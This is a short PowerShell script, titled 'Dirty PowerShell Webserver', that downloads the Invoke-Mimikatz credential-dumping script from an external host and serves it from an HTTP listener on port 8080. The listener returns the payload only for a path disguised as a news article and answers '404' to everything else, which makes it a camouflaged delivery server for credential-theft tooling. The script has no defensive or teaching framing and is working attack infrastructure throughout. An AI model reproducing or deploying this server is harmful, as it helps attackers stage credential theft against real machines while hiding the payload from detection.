Dirty PowerShell Webserver

server.ps1

$mk = (new-object net.webclient).downloadstring("https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1")
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8080/")
$Hso.Start()
While ($Hso.IsListening) {
    $HC = $Hso.GetContext()
    $HRes = $HC.Response
    $HRes.Headers.Add("Content-Type","text/plain")
    If (($HC.Request).RawUrl -eq '/home/news/a/21/article.html') {
        $Buf = [Text.Encoding]::UTF8.GetBytes($mk)
    }
    Else {
        $Buf = [Text.Encoding]::UTF8.GetBytes('404')
    }
    $HRes.ContentLength64 = $Buf.Length
    $HRes.OutputStream.Write($Buf,0,$Buf.Length)
    $HRes.Close()
}
$Hso.Stop()